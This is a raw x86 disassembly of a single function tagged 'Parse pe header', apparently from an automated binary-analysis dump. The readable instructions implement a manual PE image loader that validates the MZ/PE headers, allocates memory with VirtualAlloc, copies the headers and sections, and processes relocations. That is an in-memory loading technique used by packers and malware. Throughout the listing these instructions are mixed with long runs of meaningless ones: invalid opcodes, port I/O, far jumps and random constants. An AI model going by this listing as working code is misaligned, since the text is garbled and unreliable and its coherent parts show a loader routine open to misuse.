Function at 0x404a81
Capabilities:
Parse pe header

Disassembly:
sbb eax, 0xb2d65a7
ljmp 0x884b
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov al, byte [0x414008]
test al, al
jne 0x404bfd
jecxz 0x404a2d
sbb byte [ecx], cl
xchg esp, eax
inc ecx
push eax
test byte [ebp + 0x19], dh
insb byte es:[edi], dx
or esp, esi
mov byte [0xfceaf8dd], al
sub al, 0x5b
sbb eax, 0x6432914b
invalid
mov edx, dword [ebp + 8]
cmp word [edx], 0x5a4d
je 0x404d17
test al, al
jne 0x409ab6
sbb ecx, esi
add al, 0x97
fnstenv [esp + ebp + 0x7bdfb7a2]
invalid
fbstp tbyte [edi]
invalid
dec esi
xchg esi, eax
movsb byte es:[edi], byte [esi]
pop ds
adc dword [edi + 0xb9619d4], esi
test al, 0xf2
pop eax
nop
invalid
test al, al
jne 0x404d96
jbe 0x404d31
inc eax
in eax, dx
push eax
sub edx, ecx
je 0x404cec
mov al, 0xa3
pmaxub mm1, mm6
cmc
pop ebp
lodsb al, byte [esi]
jp 0x404cd5
cmp dword [ebp + 0x62], edx
fldcw word [ebx + 0x373242c3]
movsb byte es:[edi], byte [esi]
ret 0x1b77
mov ecx, dword [ebp + 8]
add ecx, dword [ecx + 0x3c]
test al, al
mov dword [ebp - 0x30], ecx
jne 0x404e1e
mov byte [0xdc93b50], al
mov esp, 0x6f6744a3
lodsd eax, dword [esi]
popfd
cmp dh, ah
sbb al, 0xbd
inc eax
dec edx
ljmp 0xb592
leave
test byte [eax + 0x6e], bl
sub al, 0x84
sub cl, byte [eax - 0x64]
aad 0x8b
pop ebp
rol byte [ecx + 0x45503b], 1
add byte [edi], cl
test dl, bl
add byte [eax], al
add byte [eax + eax*8 + 0x4c81850f], al
add byte [eax], al
mov ebx, dword [ebp - 0x30]
cmp dword [ebx], 0x4550
je 0x404f07
test al, al
jne 0x409ab6
jmp 0x404e13
test al, al
jne 0x4050d6
hlt
jne 0x4050d2
sub eax, 0x64c15b8f
invalid
mov edi, dword [ebp - 0x30]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x2000
mov eax, dword [edi + 0x50]
mov dword [esp + 4], eax
add byte [ebx + 0x44895047], cl
and al, 4
mov eax, dword [edi + 0x34]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 0x38], eax
mov al, byte [0x414008]
sub esp, 0x10
test al, al
jne 0x4051e7
mov cl, 3
sub byte [edi], dl
mov word [eax - 0x3082ab32], es
out 0x8c, eax
or dh, 0x54
jge 0x4050e8
pop esp
jg 0x405112
xchg dword [edx + 0x7412bcdc], esp
and bl, byte [0x164b24e9]
mov bl, 0xa7
fcom dword [edi]
dec ebx
mov dword [edx], ebx
jae 0x4050ce
add dword [eax], eax
sbb eax, 0x9e9a54cf
mov al, 0x1a
xchg ebp, eax
aaa
mov esp, 0xe5cef371
adc eax, 0x3739ceeb
in eax, 0xec
fidivr word [ebp + 0x1d462903]
pushfd
jecxz 0x40516f
pushfd
add ch, ch
invalid
inc edx
mov byte [0xad933012], al
mov esp, 0xbdd6233
shr dword [edi - 0x2b], cl
adc esp, edi
mov ch, 0x3f
int 0xa1
pop ecx
shl dl, cl
inc edx
invalid
push 0xffffffffffffffe8
out dx, eax
dec esp
sub cl, cl
cwde
lcall 0xb0dd, 0x71ce9c7
js 0x405216
int1
movsb byte es:[edi], byte [esi]
pop ds
xchg esp, eax
scasb al, byte es:[edi]
in al, 0xb
daa
jg 0x405151
xchg edi, ecx
pop esi
push ss
in eax, dx
enter 0xffffffffffffdcfe, 0x15
sub byte [ebp - 0x69933d53], ah
adc eax, 0xc2ada528
insb byte es:[edi], dx
xchg esi, eax
fbstp tbyte [esp + esi*2 - 0x71]
in al, dx
fadd dword [ecx + 0x3e15f790]
fsub qword [eax]
pop ebx
mov ch, 0xed
sub edx, dword [ebx]
add ebx, dword [eax]
fadd qword [ecx]
hlt
cmp dword [ebp - 0x38], 0
jne 0x405515
test al, al
jne 0x405258
push es
xor al, 0xca
jp 0x4051a2
pop edx
sbb bx, 0x78f7
invalid
imul eax, dword [edx], 0x22
lds ebp, [ecx - 0x5d]
mov al, byte [0x95901b60]
jo 0x4051c4
xor byte [eax], ah
push 0x4342fbb8
out dx, al
clc
iretd
mov edx, dword [ebp - 0x30]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x2000
mov eax, dword [edx + 0x50]
mov dword [esp], 0
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 0x38], eax
mov al, byte [0x414008]
sub esp, 0x10
test al, al
jne 0x4052d3
dec ebx
mov edi, 0xd9458999
aaa
insb byte es:[edi], dx
dec ecx
add eax, 0xccce72fb
fild word [ebp - 0x2ede46b]
fcomi st(5)
dec ecx
sar dword [eax + 0x1b5c36f2], 1
dec edx
shl bl, 0xf0
add eax, 0x67128bc
sub eax, 0x38fc786c
push edi
or ebp, 0x4eca9372
mov dword [ebx], edx
cmovno eax, dword [esi]
inc ebp
popfd
and dword [esi - 0x19], eax
mov byte [edi], al
retf
cmp dword [ebp - 0x38], 0
jne 0x405405
test al, al
jne 0x409ab6
into
ljmp 0xf04c
cmp al, 0xe5
scasb al, byte es:[edi]
cmp byte [0xcab7df29], al
fmul qword [ecx + 0x3a3f40fa]
dec edi
idiv byte [ecx - 0x36]
adc ch, cl
iretd
aad 0x95
add byte [edi + 0x3a], dl
mov esi, 0xbe65f2a3
movsd dword es:[edi], dword [esi]
sub dword [edx], ebx
inc ebx
push ds
jmp 0x405373
test al, al
jne 0x405515
jg 0x4053bd
fild word [0x750d2414]
sar byte [edi - 0x285d9029], 0x7e
ffree st(3)
mov cl, 0x47
mov byte [esi + esi*2 + 0x3ffcaea], dh
insd dword es:[edi], dx
xor al, 0x92
or eax, 0xacbb11cd
push ss
iretd
dec ebp
sbb ebp, dword [eax - 0x6b67fa00]
popal
push ecx
pop ebx
inc ebp
mov word [ebx + ebp*4 - 0x70], es
aaa
sahf
adc dword [edi + 0x5ee4ea3f], esp
in al, 0x5e
out 0x59, eax
inc edi
js 0x4054f3
rcl bl, 0x30
mov bl, 0xee
cmp byte [0x414008], 0
jne 0x40557e
mov bl, 0xf4
jno 0x405569
push esi
ret
mov cl, byte [esi]
push ss
cmp eax, 0xf1f1effc
popal
cmp byte [edi + 0x24], al
fnclex
jae 0x405509
sub dword [edx - 0x20], edx
push cs
inc ebx
movsd dword es:[edi], dword [esi]
xor bl, byte [edi]
dec edi
mov ch, 0xe2
push edx
jle 0x405572
cmp byte [eax], cl
sub ecx, dword [edi + 0x46]
daa
aaa
sbb byte [edi + 0x4ac35f6f], bl
inc edx
or al, 0x6b
mov esp, ebp
jns 0x405537
xchg edx, eax
stosd dword es:[edi], eax
jmp 0x405550
fucompi st(2)
insb byte es:[edi], dx
out 0x15, eax
mov ebx, 0x64fa3d2d
push ebp
cdq
call sub.KERNEL32.dll_GetProcessHeap
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_HeapAlloc
sub esp, 0xc
mov ebx, eax
cmp byte [0x414008], 0
jne 0x405672
mov ch, 0x5d
push ds
not dword [ebx + 0x171c622b]
fucomi st(1)
test eax, 0xe78bd486
mov byte [0x2b8cc6bf], al
lodsd eax, dword [esi]
mov byte [0xe1dfdbe7], al
aas
xor al, 0x7a
adc ebp, ecx
xlatb
xor ah, al
imul ebx, dword [ebp + 0x42], 0xffffff87
je 0x4055f3
jo 0x4055f6
movsb byte es:[edi], byte [esi]
inc ebp
test eax, 0x5168e78b
jae 0x405574
invalid
xor byte [ebx + 0x10], dl
dec esi
not dword [ebp - 9]
cmp byte [edi + ebx*2], 0xd3
mov al, 0xf2
rol ebp, 1
insd dword es:[edi], dx
stosd dword es:[edi], eax
mov edx, 0x9ee3c4c8
invalid
mov ecx, dword [ebp - 0x38]
cmp byte [0x414008], 0
mov dword [ebx + 4], ecx
jne 0x4056cc
invalid
cmp byte [0x414008], 0
mov dword [ebx + 0xc], 0
jne 0x40573f
rol byte [esi], 0xe6
pop esp
invalid
cmp byte [0x414008], 0
mov dword [ebx + 8], 0
jne 0x405857
pop ss
mov word [ebx + 0x63], gs
sbb dword [ebp + 0x3e], 0xfffffff3
fisub word [eax - 0x4d50308]
dec esp
add al, 0x2f
jne 0x4057c2
cmp edi, dword [edi - 0x2c2f38eb]
xor dword [ebx], 0x3a8d2695
cmp eax, 0x9da0a61a
add ebx, edi
xchg ecx, eax
loop 0x4057fb
mov esi, ebx
test eax, 0xb4ae2b84
mov al, byte [0x205fef0a]
mov bh, 0x2f
cmp byte [edx - 0x78], ah
pop edi
invalid
invalid
in eax, 0xfd
ja 0x405824
aaa
sar byte [ebx], 0x73
or cl, byte [esi]
cmp esi, dword [ebx + 0xa]
push cs
test al, 0x52
mov gs, word [0x48865bb7]
dec edi
popfd
sahf
mov byte [0x6b271448], al
insd dword es:[edi], dx
int1
mov ds, edx
sub eax, 0x9fa4d773
push cs
fiadd dword fs:[edx - 0x3ed51792]
jbe 0x405879
js 0x4057f5
faddp st(0)
and dword [ebx + 0x5e], edi
ret
test eax, 0x4b918121
inc edx
pop es
mov dword [0x7a81d8ba], eax
stc
cld
fdivr dword [edi + edi*4 + 0x29eea74a]
sub dword [edx + 0x73da8ce3], 0x3a
test eax, 0x83d8012
inc eax
inc ecx
add byte [eax], al
cmp byte [0x414008], 0
mov dword [ebx + 0x10], 0
jne 0x405950
push edx
xor ecx, esi
jecxz 0x4058ef
adc dl, ch
and cl, dl
ret
sbb al, 0x79
pop esi
and byte [edi + ecx*4 - 0x5d], cl
div dword [edx + 0x2f]
shl esi, 1
push 0x7b
clc
mov bh, 0xcd
sub al, 0x85
mov cl, 0xab
xchg ebp, eax
wait
int 0x5f
pop esi
jo 0x405839
sbb ecx, dword [edi]
mov edi, 0xb4256d94
mov edx, 0x27b157b4
xchg byte [edx + 0x5fdf00d], al
cmpsd dword [esi], dword es:[edi]
retf
aad 0xc3
insd dword es:[edi], dx
cmc
stosb byte es:[edi], al
cld
cwde
mov ch, 0x21
jecxz 0x405894
xchg esi, eax
mov dword [esi + 0x579b30c], ebp
insb byte es:[edi], dx
jmp 0x405884
mov edi, dword [ebp - 0x30]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov eax, dword [edi + 0x50]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
cmp byte [0x414008], 0
jne 0x405a0f
pop eax
invalid
mov edx, dword [ebp - 0x30]
mov dword [esp + 0xc], 4
mov ecx, dword [ebp - 0x38]
mov dword [esp + 8], 0x1000
and al, 8
add byte [eax], dl
add byte [eax], al
mov eax, dword [edx + 0x54]
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
cmp byte [0x414008], 0
jne 0x405aa7
jbe 0x405a61
xchg edx, eax
je 0x405a1f
push eax
js 0x405a84
invalid
sub dword [edx - 0x76], eax
add ebp, dword [ecx - 0x151b8425]
lahf
xor eax, 0xa328f83f
sub eax, 0x624f2bf1
pop ebp
into
retf 0xeaf9
ljmp 0xf8aa:0xfbe19664
xchg ebp, eax
pop ebp
mov byte [0xaf414879], al
xchg dword [ecx], edi
xlatb
sub ah, byte [esi - 0x38]
push ebp
mov dh, 0x2b
mov dl, 0x84
cmc
stosd dword es:[edi], eax
outsb dx, byte [esi]
pop ecx
inc edx
push eax
push esp
in al, dx
dec eax
js 0x405a79
retf 0x6da0
mov edi, dword [ebp + 8]
mov edx, dword [ebp - 0x30]
mov esi, dword [ebp + 8]
mov ecx, dword [edi + 0x3c]
mov edi, eax
add ecx, dword [edx + 0x54]
rep movsb byte es:[edi], byte [esi]
push ebp
ror byte [ebx + 0x4f8b0875], 1
cmp al, 0x89
mov dword [ebx], 0xa4f3544a
cmp byte [0x414008], 0
jne 0x405b83
test byte [esi + 0x216dbdf7], dl
and al, 0x35
jbe 0x405aab
pushal
sub byte [esi + 0x55], bl
aam 0xcc
scasb al, byte es:[edi]
push ss
sbb al, 2
add ah, byte [ebx + edi*2 - 0x26]
das
sbb eax, dword [edi + 0x57]
pop ebp
invalid
mov ecx, dword [ebp + 8]
add eax, dword [ecx + 0x3c]
cmp byte [0x414008], 0
mov dword [ebx], eax
jne 0x405c59
mov edx, 0x8efdd962
pop edi
xchg ebx, eax
push esp
inc edi
test al, 0x82
into
stosd dword es:[edi], eax
dec esi
fdivr st(5), st(0)
mov ebp, 0x65d7673e
inc esi
mov eax, 0x962ddc9b
sbb byte [0xa590d3cc], ch
rcr byte [esi], 1
add eax, 0xb4c7263
cmc
mov cl, 0xd9
mov al, byte [0xbd95b600]
hlt
mov dl, byte [0x414008]
mov edi, dword [ebp - 0x38]
test dl, dl
mov dword [eax + 0x34], edi
jne 0x405d25
add eax, 0x8303e0e4
cmp dword [ecx], edi
rcr byte [edi + 0x7e1c529f], 0x14
ljmp 0x2398
mov ecx, dword [ebx + 4]
test dl, dl
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], ecx
movzx ecx, word [eax + 0x14]
lea ecx, [eax + ecx + 0x18]
mov dword [ebp - 0x2c], ecx
jne 0x406640
cli
jg 0x405d8b
sub al, 0x99
cmc
mov ch, cl
ljmp 0x2f86
mov cl, 0xf1
ficomp word [ebx]
stosw word es:[edi], ax
mov ah, 0x99
mov edi, 0x6bf6c586
xchg dword [ebp + 0x180d5c5f], edi
pop ecx
shr byte [edx + 0x279307dc], cl
xlatb
insb byte es:[edi], dx
xor edx, ecx
add esp, edx
mov ebx, 0x8d22fee1
mov dl, 0xbb
dec esp
cmp byte [eax + 0x7a343], al
add ah, byte [esi + ecx + 0x1b]
mov ebp, 0xe799c5e0
pop eax
sar dword [esi - 0x37760d3c], 0xd4
inc esp
test eax, 0x853666d2
and dword [ebx + 0x61c6a2bd], eax
test eax, 0xd40d63c6
jle 0x405da8
retf 0xe203
mov ch, 0x43
pushfd
wait
and eax, 0xe417605b
sub ah, ch
sub cl, dl
mov esi, 0xb043088f
mov eax, dword [ecx]
push edx
push ecx
invalid
test al, al
jne 0x405e55
xchg edx, eax
mov ebp, 0xcc8ef6bb
sti
out 0x16, al
cmp eax, 0x5f18bf61
fnsave dword [eax + 8]
pop esi
insb byte es:[edi], dx
sub eax, 0x4d79dff
mov dl, 0x8b
pop ebp
aam 0x8b
push ebx
adc byte [ebp + 0x5b850fd2], al
add al, 0
add byte [eax + eax*8 + 0xba850f], al
add byte [eax], al
mov ebx, dword [ebp - 0x2c]
mov edx, dword [ebx + 0x10]
test edx, edx
jne 0x4062be
test al, al
jne 0x405f25
outsb dx, byte [esi]
invalid
or al, 0xa7
jmp 0xbc8e19d
mov edi, dword [ebp - 0x30]
test al, al
mov ebx, dword [edi + 0x38]
jne 0x406013
sbb byte [edx], cl
test al, 0x4d
sbb dword [edi - 0x4e545bf6], 0x1534328d
cmp eax, 0x48773970
jne 0x405f0f
int3
ret 0xbb30
cmp byte [esi + 0x19], 0x45
bound esp, qword [eax]
sal dword [eax - 0x37c17dc1], 1
cmc
cmp eax, dword [ebx + 0x4fbb138c]
inc ebx
ja 0x406020
invalid
adc ah, byte ds:[ebp + 7]
shl ch, cl
xchg bl, ch
sub ch, al
or edi, esp
cwde
dec edx
jle 0x405fd2
adc dh, byte [ebx - 0x38]
dec ebp
not byte [ebp + 0x60]
mov dl, 0xa4
mov dword [0x1d7edb29], eax
push cs
mov esp, 0x1c3732f
pop eax
dec ecx
in eax, dx
test ebx, ebx
jle 0x406637
test al, al
jne 0x406070
xor eax, edi
clc
jg 0x405fec
inc ebx
std
lahf
push ebp
jo 0x406091
mov dword [0x1903bd67], eax
popal
cmpsd dword [esi], dword es:[edi]
inc edx
cmp al, 0x25
pop edi
dec edx
loope 0x405fc6
mov ebp, 0xee1590a4
jge 0x405fd6
pop ds
jbe 0x406058
jmp 0xec874ff
invalid
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
add eax, dword [edx + 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAlloc
push edi
inc ebp
add byte [eax], al
sub esp, 0x10
mov edx, eax
cmp byte [0x414008], 0
jne 0x406109
invalid
mov ecx, dword [ebp - 0x2c]
mov dword [ecx + 8], edx
cmp byte [0x414008], 0
jne 0x4061c3
push 0xffffffffffffffd0
pop edx
dec ebp
lcall 0xf3a2, 0xe3972159
cmpsb byte [esi], byte es:[edi]
sub al, byte [ecx]
mov cl, 0x44
insb byte es:[edi], dx
sbb edi, dword [ebp + 0x21647ad9]
invalid
xor eax, eax
mov edi, edx
mov ecx, ebx
rep stosb byte es:[edi], al
cmp byte [0x414008], 0
jne 0x406637
invalid
test al, al
jne 0x406392
add al, 0x12
in eax, 0x9a
invalid
mov dword [esp + 4], edx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x40]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
add eax, dword [edx + 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
cmp byte [0x414008], 0
jne 0x406436
sub eax, 0x7f94f3ad
aad 8
dec ebp
fistp word [0xaf147bc]
loope 0x40641d
popfd
aaa
ret
mov edi, 0xaf4ae525
cmp eax, 0x7cfdf331
add ecx, dword ds:[ecx + 0x4c]
xchg esi, eax
mov dword [eax], ebp
cdq
test dword [edi + 0x42], ebp
add byte [ebx + 0x4d8bb5d4], bl
aam 0x89
invalid
mov ecx, dword [ebp - 0x2c]
mov edi, eax
mov esi, dword [ebp + 8]
add esi, dword [ecx + 0x14]
mov ecx, dword [ecx + 0x10]
rep movsb byte es:[edi], byte [esi]
cmp byte [0x414008], 0
jne 0x40654e
jmp 0xcbffd404
les edx, [edx + 0x8208ad6]
test ebx, esp
mov ebx, 0xbe97b1fb
out 0x14, al
sbb eax, 0x3fa1d89d
inc ecx
push ecx
jge 0x406552
movsb byte es:[edi], byte [esi]
mov edi, dword [ebp - 0x2c]
mov dword [edi + 8], eax
cmp byte [0x414008], 0
inc edi
or byte [eax + 0x4140083d], al
or byte [eax + 0x41], al
add byte [eax], al
jne 0x406637
mov word [ecx - 0x51], fs
pop esp
push ebx
jae 0x406556
sub ebp, edi
push cs
xor dword [edx - 0x5d82120f], eax
test byte [ebx], bh
mov byte [ecx - 0x58edaa7], bl
mov dl, 0x4b
and eax, 0xb265fa71
dec ebx
loop 0x406535
out dx, eax
jns 0x4065c4
push ecx
sub byte [edi - 0x3172645c], bl
cwde
wait
call [edx]
mov esp, gs
xchg edi, eax
jno 0x406564
mov dh, 0xa
sub ebx, esp
jnp 0x4065bd
inc ecx
sub eax, 0x60e42371
pushfd
sub byte [ecx + 0x5f56c7c4], dh
push ebp
and al, 0xf7
lock and edx, dword [ecx]
jge 0x4065bd
test al, 0xab
cmp dword [edx + 0x62], 0x63ea68b
retf
aas
dec esi
add al, byte [edi]
movsb byte es:[edi], byte [esi]
popal
pop esp
enter 0x4c58, 0xffffffffffffffec
imul ecx, ecx, 0x7d7511fc
mov edx, edi
or byte [ecx], dh
adc eax, 0x4194fd0e
cmp dword [esi], esi
pop eax
salc
je 0x406576
and eax, 0xd7c99f76
sti
xchg edx, eax
das
inc edi
jle 0x406581
adc dword [edx - 0x57], edi
xchg bh, dh
xor al, 0x5d
jmp dword [esi + 0x72]
xlatb
invalid
inc dword [ebp - 0x3c]
add dword [ebp - 0x2c], 0x28
jmp 0x406643
mov dword [ebp - 0x44], ebx
mov eax, dword [ebp - 0x44]
mov edx, dword [eax]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x3c], eax
mov al, byte [0x414008]
jl 0x405e38
test al, al
mov ebx, dword [ebp - 0x44]
jne 0x406709
mov word [ebp - 0x49], es
sahf
jecxz 0x406621
adc bh, byte [esi - 0x72]
jns 0x4066b5
test dword [ecx - 0x30], edx
scasb al, byte es:[edi]
adc eax, 0x62bc8dc8
add dword [ebx + eax - 6], 0x6d000eba
and ebp, ecx
add ebp, dword [ebp - 0x9b344ed]
jno 0x4066e9
jne 0x40668c
call edi
xlatb
mov edx, 0x338b2885
push ebx
sar dl, 0xb5
inc ecx
mov eax, 0x3cc7f83c
call 0x40cfac
xchg ebp, eax
sbb al, 0x24
loope 0x4066bb
xchg esi, eax
aas
mov byte [ebp + 0x3f1a4216], dl
int 0x4d
jge 0x4066d5
push cs
ja 0x40668d
dec edi
mov ch, 0x8f
mov ebp, dword [ebp + 0x3e13c756]
sar dword [ebp + 0x79], 1
in eax, dx
outsd dx, dword [esi]
push ebp
push edx
push cs
cli
sysexit
add dword [ebx*8 - 0x11f82ac4], 0x93883238
lodsd eax, dword [esi]
push esi
invalid
xchg ebx, eax
bound ecx, qword [esi]
lodsb al, byte gs:[esi]
rcl al, 0
daa
sbb byte [eax], ch
sbb edx, dword [ecx + 0x68e68a16]
cwde
loope 0x406760
into
bound edi, qword [ebx - 0x55]
sahf
push eax
mov dl, 0x8d
mov esp, esp
adc eax, 0x8223461c
bnd jecxz 0x40674d
or ebp, dword [edx + 0x1b]
cld
xor dword [ecx - 0x3cb6661e], esi
adc byte [edi], dl
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x38]
sub esi, dword [ecx + 0x34]
test al, al
jne 0x406814
mov eax, edx
invalid
adc byte [ebp - 0x36c3a09f], bl
clc
sahf
inc edx
test eax, 0x721c4626
add ecx, dword es:[edi]
imul eax, dword [ebx + 0x12], 0x31
adc dh, byte [ecx]
and bl, byte [edi + 0x1b9891fb]
test byte [edx], cl
cld
push ss
sbb bl, byte [ecx + 0x40d57977]
sbb eax, dword [edx + ecx - 0x66e5e904]
ja 0x4067e9
aad 0x40
jb 0x4067e7
sbb byte [ebx], 0x9a
enter 0xc37, 0xffffffffffffffee
cmp bl, byte [ecx + ebx*2]
jle 0x4067ae
mov esp, dword [eax + 0x663186cd]
mov byte [0xcc9e70b6], al
mov dh, byte [edi]
inc ebx
add ecx, dword [ebx + eax*4]
jne 0x406812
push es
nop
sbb esi, ecx
invalid
stosd dword es:[edi], eax
lcall 0x6e44, 0xa7a02a17
outsd dx, dword [esi]
push 0x2b
jno 0x406767
inc edx
int1
sbb al, 0xe3
adc dword [edx + 0xb], ebx
invalid
or esp, dword [edx - 2]
aad 0x6a
adc bh, byte [0x54dcb03d]
push edx
xchg esi, ebp
imul esi, dword [edx - 0x309ef72], 0xf028607f
or al, 0x6a
loope 0x406805
dec ebp
sbb dword [ecx + 0x55], 0xffffff81
mov edi, 0x44fc6c94
cld
inc esp
dec eax
push eax
xchg esi, eax
sar byte [esi], 1
inc dword [edx - 0x3687ef34]
invalid
pushfd
jmp 0xb4c11df0
mov dword [edi], ebx
test esi, esi
je 0x4071b9
test al, al
jne 0x40682c
jp 0x4067c1
push 0xffffffffffffffd5
add byte [edi + 0x7d], dh
push esp
push es
jg 0x406828
pop ss
mov edi, dword [ebx + 4]
test al, al
mov dword [ebp - 0x30], edi
jne 0x4068a5
or dh, ah
invalid
cmp dword [edx + 0xa4], 0
je 0x406fd6
test al, al
jne 0x4069a0
xor al, 0xe0
mov bh, 0xf8
xor ecx, dword [ebp - 0x53]
sbb bl, al
invalid
salc
sbb edx, dword [esi - 0x6b]
cmp byte [ecx], 0xa0
fdivr dword [esi + esi*4 - 0x69]
mov edi, 0x89d3f16f
test esp, edx
mov esi, 0x48529138
mov dl, byte [bp + di]
imul edx, ebp, 0xffffffd7
aad 0xd7
or byte [ebp + 0x1425e81], ch
xchg edi, eax
jecxz 0x40694b
adc ebx, dword [ecx + 0x6209d271]
movsd dword es:[edi], dword [esi]
xchg edx, eax
out 0x7a, eax
push eax
pop ds
or esp, dword [edx + 0x7b2c7368]
fiadd word [ecx]
push edx
inc ebp
or edi, edi
invalid
mov edx, dword [edx + 0xa0]
add edx, dword [ebp - 0x30]
test al, al
je 0x4069b7
mov al, byte [0x414008]
jmp 0x406f01
js 0x406a18
bound edi, qword [ecx - 0x4f]
cmpsd dword [esi], dword es:[edi]
xor dword [eax + 0x35f1eb6d], 0xffffffea
push ss
xlatb
std
aam 0xe9
jecxz 0x406966
pop esi
outsb dx, byte [esi]
hlt
popfd
aaa
sub eax, 0x1b
pop es
pushal
jp 0x406a42
fisubr dword [ebx]
adc byte [ebp - 0x25], bl
jge 0x406a28
int3
sub ebp, dword [eax]
fisttp qword [esi]
mov dl, 0xd
les esp, [0xa1f71620]
pop ebx
test byte [ebp + 0x90c483e], dl
daa
mov esi, dword [eax + eax*4]
jb 0x406a52
add al, 0x6a
pushfd
arpl di, bx
inc edi
pop dword [edi]
and al, 0x9d
mov ecx, 0x51de6131
ja 0x4069ff
salc
rcr dword [edx - 0x79], cl
adc dword [ebx + 0x1eca1a93], esp
dec esi
dec ebx
xchg ecx, eax
mov byte [edi - 5], cl
and eax, 0x426cdab3
loope 0x4069d0
fistp word [edx + 0x127840c1]
rol dword [eax + 0x78], 0x12
mov eax, 0xa98b044e
mov ebx, dword [esp + ecx*2 + 0x3d16b61e]
add al, 0x61
into
lea esi, [ecx - 0x5c9b4d37]
push ds
cmpsb byte [esi], byte es:[edi]
test byte [esi - 0x3a90e17b], ch
xchg esi, eax
cmp dword [ebp - 0x1b], 0x108e0885
movsb byte es:[edi], byte [esi]
fisubr dword [esi]
pop edx
invalid
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x34], ecx
xor ecx, ecx
test al, al
jne 0x406e35
cmp edx, esi
scasb al, byte es:[edi]
push edi
xchg ebp, eax
sub dl, byte [ebp + 0x16]
clc
inc ecx
sbb al, dh
dec ebx
test dword [esi + ebx*8], 0x54348612
js 0x406b36
pop ebx
inc ecx
shl esp, cl
out dx, eax
in al, dx
pop ecx
adc al, 0xe1
xchg edx, eax
push es
invalid
inc eax
outsd dx, dword [esi]
js 0x406b82
fdivr dword [edi]
adc ebp, eax
scasd eax, dword es:[edi]
mov cl, 0x25
invalid
movzx edi, word [edx + ecx*2 + 8]
test al, al
mov dword [ebp - 0x3c], edi
jne 0x406c26
invalid
mov al, 0xd
cmpsb byte [esi], byte es:[edi]
pop ss
salc
sar dword [edi + 0x20af780f], cl
pop ebp
mov dl, 0x19
int1
cmp byte [ebx - 0x7e71a36d], al
dec esi
invalid
retf
mov edi, dword [di - 0x3c]
mov edi, dword [ebp - 0x3c]
sar edi, 0xc
mov dword [ebp - 0x2c], edi
je 0x406c3c
cmp edi, 3
jne 0x406e34
jmp 0x406c81
test al, al
jne 0x406e34
sti
out dx, eax
xchg ebp, eax
test eax, 0x955c1612
jnp 0x406c25
mov cl, 0x88
mov edi, 0x87423fa0
push es
or al, byte [ebx - 0x30]
in eax, 0x50
out 0x7b, eax
ja 0x406be3
retf
test al, al
jne 0x406cb7
sub dword [ebx - 0x68039300], 0x35d6e348
loopne 0x406d03
mov bh, 0x58
in eax, 0xea
pop eax
pop ss
mov esi, 0xdd188c98
or esi, dword [esi - 0xf5b900d]
dec edi
or dh, byte [edx - 6]
or bl, bh
mul dword [ecx + 0x5d78da28]
mov edx, 0xcf1215ea
jmp [edx - 0x1a]
mov edi, dword [ebp - 0x3c]
and edi, 0xfff
add edi, dword [ebp - 0x34]
test al, al
jne 0x406d7f
jb 0x406ca3
loopne 0x406d4c
mov ebx, ss
in eax, dx
xor esp, eax
cmp al, 0x3b
aaa
inc ebp
adc eax, 0x83de72e
pop edi
wait
ret 0xb049
sub byte [ecx + ebx*2], bh
test eax, 0xbbec979a
xchg byte [ebx + 0x68bc61b0], bh
jns 0x406d0b
mov ebx, 0x61b0bb86
mov esp, 0x57f77968
push edi
enter 0x5b78, 0x45
loopne 0x406cb7
retf 0x79a7
and ebp, dword [ecx]
movsb byte es:[edi], byte [esi]
sbb byte [edi], ah
jmp 0xae85bb9
add dword [edi], esi
test al, al
jne 0x406e34
push esp
outsb dx, byte [esi]
adc eax, 0x8edf940f
push edx
dec ebp
arpl word [ebx], si
in al, 0xdc
sub al, 0xa3
aas
mov byte [eax + 0x49], dl
out dx, eax
clc
cdq
mov byte [0xa65f7572], al
invalid
add byte [ebx + edx*4 - 0x7f], 0x4c
aaa
inc ecx
mov edi, dword [edx + 4]
mov dword [ebp - 0x2c], edi
sub edi, 8
shr edi, 1
cmp ecx, edi
jb 0x406b5c
test al, al
jne 0x406eb2
xchg edi, eax
mov edi, 0x7dcd4e33
shr dword [esi + 0x343c13f3], 0xe2
jge 0x406e2e
pushal
test eax, 0x7fa66c03
jg 0x406e76
add bl, al
movsd dword es:[edi], dword [esi]
or dword [edi], 0x9ca7b8dc
in al, dx
cmc
imul ebp, dword [ecx - 0x4a], 0x53c95c17
nop
stosd dword es:[edi], eax
shl byte [ebx + ecx + 0x35], 1
or eax, 0x8eb3a10e
and ch, al
mov fs, esp
imul ecx, dword [edi], 0xfffffff3
inc edi
invalid
add edx, dword [ebp - 0x2c]
test al, al
jne 0x406f01
int1
sbb byte [esi + 0x36538679], cl
add byte [esi], ah
xchg esp, eax
mov byte cs:[ebx], dl
and dword [edi + 0x76], esi
jg 0x406f41
int 0x24
cmp al, 0xbe
lodsd eax, dword [esi]
mov ch, 0x3e
or dword [ebx + 4], 0xffffffbc
pop edx
fldcw word [ebp - 0x6d9988d]
mov edx, 0xf1e0f95c
daa
push 0x7be04804
invalid
mov ecx, dword [edx]
test ecx, ecx
jne 0x406ac2
cmp byte [0x414008], 0
inc eax
inc ecx
add byte [eax], al
jne 0x406fd6
invalid
jl 0x406f2f
cmp esi, edx
inc ebx
inc edx
sub dword [edi + 0x3d], esp
